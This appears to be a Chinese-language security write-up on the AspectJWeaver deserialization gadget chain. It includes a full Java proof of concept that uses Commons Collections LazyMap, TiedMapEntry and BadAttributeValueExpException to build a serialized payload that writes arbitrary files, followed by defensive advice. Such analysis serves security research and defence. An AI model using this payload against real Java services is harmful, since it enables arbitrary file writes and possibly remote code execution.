AspectJWeaver反序列化利用链
字数 1748 2025-08-27 12:33:43

AspectJWeaver反序列化利用链深入分析与利用

前言

AspectJWeaver是AspectJ项目中的一个组件,主要用于AOP(面向切面编程)的织入过程。在其org.aspectj.weaver.tools.cache.SimpleCache类中,存在一个潜在的安全漏洞,可以被利用来实现任意文件写入,进而可能导致远程代码执行。

漏洞核心分析

SimpleCache$StoreableCachingMap类

SimpleCache类包含一个内部类StoreableCachingMap,这个类继承自HashMap,并重写了put方法,关键点如下:

  1. 文件写入机制

    • put方法中调用了writeToPath方法执行文件写入操作
    • 写入路径由this.folder(构造函数传入)和key(文件名)拼接构成
    • 写入内容为valueBytes,即传入的value的字节形式
  2. 构造函数

    StoreableCachingMap(String folder, int initialCapacity)
    
    • folder参数控制文件写入的目录
    • initialCapacity是HashMap的初始容量

简单利用Demo

以下代码展示了如何直接利用StoreableCachingMap实现文件写入:

import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;

public class SimpleExploit {
    public static void main(String[] args) throws Exception {
        // 反射获取构造函数
        Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap")
                .getDeclaredConstructor(String.class, int.class);
        con.setAccessible(true);
        
        // 实例化对象,指定写入目录为D盘
        HashMap map = (HashMap) con.newInstance("D:", 1);
        
        // 调用put方法写入文件
        map.put("1.txt", "21321321".getBytes(StandardCharsets.UTF_8));
    }
}

执行后会在D盘创建1.txt文件,内容为"21321321"。

反序列化利用链构造

为了在反序列化过程中触发文件写入,我们需要结合Commons Collections的利用链。

利用链设计思路

  1. 触发点选择

    • Commons Collections中的LazyMap.get()方法会调用put方法
    • 我们可以将StoreableCachingMap作为LazyMap的底层map
  2. 利用链组成

    • BadAttributeValueExpException.readObject()
      • 调用TiedMapEntry.toString()
        • 调用TiedMapEntry.getValue()
          • 调用LazyMap.get()
            • 调用StoreableCachingMap.put()
              • 调用writeToPath()实现文件写入

完整利用代码

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class AspectJWeaverExploit {
    public static void main(String[] args) throws Exception {
        // 1. 创建StoreableCachingMap实例
        Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap")
                .getDeclaredConstructor(String.class, int.class);
        con.setAccessible(true);
        HashMap map = (HashMap) con.newInstance("D:", 1);

        // 2. 创建ConstantTransformer用于生成写入内容
        ConstantTransformer transform = new ConstantTransformer("12321321".getBytes(StandardCharsets.UTF_8));

        // 3. 创建LazyMap包装StoreableCachingMap
        Map outmap = LazyMap.decorate(map, transform);

        // 4. 构造TiedMapEntry触发链
        TiedMapEntry tiedmap = new TiedMapEntry(outmap, "1.txt");

        // 5. 使用BadAttributeValueExpException作为入口点
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc, tiedmap);

        // 6. 序列化
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(out);
        oos.writeObject(poc);
        String payload = Base64.getEncoder().encodeToString(out.toByteArray());
        System.out.println("Serialized payload: " + payload);

        // 7. 反序列化触发
        ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(in);
        ois.readObject();
    }
}

利用链执行流程分析

  1. 反序列化入口

    • 反序列化BadAttributeValueExpException对象
    • 进入readObject方法,获取val字段值(TiedMapEntry对象)
  2. 调用链展开

    • BadAttributeValueExpException.readObject()
      TiedMapEntry.toString()
      TiedMapEntry.getValue()
      LazyMap.get(key)
  3. LazyMap处理

    • LazyMap.get()检查key不存在
    • 调用this.factory.transform(key)ConstantTransformer实例)
    • 返回预设的字节内容
    • 调用this.map.put(key, value)StoreableCachingMap实例)
  4. 文件写入

    • StoreableCachingMap.put()
      writeToPath()
      → 拼接路径:this.folder + File.separator + key
      → 创建文件并写入内容

防御与修复建议

  1. 输入验证

    • 对反序列化操作进行严格的白名单控制
    • 验证反序列化数据的来源和完整性
  2. 安全配置

    • 更新AspectJWeaver到最新版本
    • 检查并限制SimpleCache的使用
  3. 运行时防护

    • 使用Java安全管理器限制文件系统访问
    • 监控可疑的文件写入操作
  4. 依赖管理

    • 移除不必要的依赖(如Commons Collections)
    • 使用安全版本的库

总结

AspectJWeaver中的SimpleCache$StoreableCachingMap类由于不安全的文件写入操作,结合Commons Collections的反序列化利用链,可以构造出有效的攻击载荷。这种攻击可以在反序列化过程中实现任意文件写入,为后续攻击创造条件。开发者应当重视反序列化安全问题,采取适当的防护措施。

AspectJWeaver反序列化利用链深入分析与利用 前言 AspectJWeaver是AspectJ项目中的一个组件,主要用于AOP(面向切面编程)的织入过程。在其 org.aspectj.weaver.tools.cache.SimpleCache 类中,存在一个潜在的安全漏洞,可以被利用来实现任意文件写入,进而可能导致远程代码执行。 漏洞核心分析 SimpleCache$StoreableCachingMap类 SimpleCache 类包含一个内部类 StoreableCachingMap ,这个类继承自 HashMap ,并重写了 put 方法,关键点如下: 文件写入机制 : put 方法中调用了 writeToPath 方法执行文件写入操作 写入路径由 this.folder (构造函数传入)和 key (文件名)拼接构成 写入内容为 valueBytes ,即传入的 value 的字节形式 构造函数 : folder 参数控制文件写入的目录 initialCapacity 是HashMap的初始容量 简单利用Demo 以下代码展示了如何直接利用 StoreableCachingMap 实现文件写入: 执行后会在D盘创建 1.txt 文件,内容为"21321321"。 反序列化利用链构造 为了在反序列化过程中触发文件写入,我们需要结合Commons Collections的利用链。 利用链设计思路 触发点选择 : Commons Collections中的 LazyMap.get() 方法会调用 put 方法 我们可以将 StoreableCachingMap 作为 LazyMap 的底层map 利用链组成 : BadAttributeValueExpException.readObject() 调用 TiedMapEntry.toString() 调用 TiedMapEntry.getValue() 调用 LazyMap.get() 调用 StoreableCachingMap.put() 调用 writeToPath() 实现文件写入 完整利用代码 利用链执行流程分析 反序列化入口 : 反序列化 BadAttributeValueExpException 对象 进入 readObject 方法,获取 val 字段值( TiedMapEntry 对象) 调用链展开 : BadAttributeValueExpException.readObject() → TiedMapEntry.toString() → TiedMapEntry.getValue() → LazyMap.get(key) LazyMap处理 : LazyMap.get() 检查key不存在 调用 this.factory.transform(key) ( ConstantTransformer 实例) 返回预设的字节内容 调用 this.map.put(key, value) ( StoreableCachingMap 实例) 文件写入 : StoreableCachingMap.put() → writeToPath() → 拼接路径: this.folder + File.separator + key → 创建文件并写入内容 防御与修复建议 输入验证 : 对反序列化操作进行严格的白名单控制 验证反序列化数据的来源和完整性 安全配置 : 更新AspectJWeaver到最新版本 检查并限制 SimpleCache 的使用 运行时防护 : 使用Java安全管理器限制文件系统访问 监控可疑的文件写入操作 依赖管理 : 移除不必要的依赖(如Commons Collections) 使用安全版本的库 总结 AspectJWeaver中的 SimpleCache$StoreableCachingMap 类由于不安全的文件写入操作,结合Commons Collections的反序列化利用链,可以构造出有效的攻击载荷。这种攻击可以在反序列化过程中实现任意文件写入,为后续攻击创造条件。开发者应当重视反序列化安全问题,采取适当的防护措施。